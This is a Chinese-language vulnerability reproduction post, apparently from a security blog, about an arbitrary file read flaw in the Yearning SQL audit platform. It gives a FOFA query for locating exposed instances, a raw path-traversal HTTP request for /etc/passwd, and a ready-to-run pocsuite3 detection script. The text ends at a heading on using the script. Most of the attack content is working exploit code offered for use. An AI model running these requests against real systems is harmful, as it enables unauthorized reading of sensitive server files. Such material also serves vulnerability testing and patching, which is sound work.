漏洞复现-Yearning front 任意文件读取漏洞（附漏洞检测脚本）

免责声明

文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责

漏洞描述

Yearning是一款专业的SQL审核平台，对MYSQL web端SQL数据库进行审核的软件！Yearning支持SQL查询、SQL审核、推送、用户权限及管理等功能，免费开源。该系统Yearning 2.3.1 版本、Interstellar GA 2.3.2 版本和 Neptune 2.3.4 -2.3.6 版本存在任意文件读取漏洞。攻击者可以利用该漏洞获取敏感信息。

fofa语句

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app="Yearning"

poc加检测

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GET /front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1

poc脚本

脚本使用的pocsuite框架

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# _*_ coding:utf-8 _*_
# @Time : 2024/1/16
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str


class yearning_front_fileread(POCBase):
    pocDesc = '''Yearning front 任意文件读取漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2024-1-16'
    name = 'Yearning front 任意文件读取漏洞'

    def _verify(self):

        result = {}
        url = self.url + '/front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd'
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Accept-Encoding': 'gzip, deflate',
            'Upgrade-Insecure-Requests': '1',
            "Connection": "close"
        }



        try:

            response = requests.get(url, headers=headers)
            if response.status_code == 200 and 'root' in response.text:
                result['VerifyInfo'] = {}

            return self.parse_output(result)
        except Exception as e:
            pass


register_poc(yearning_front_fileread)

脚本利用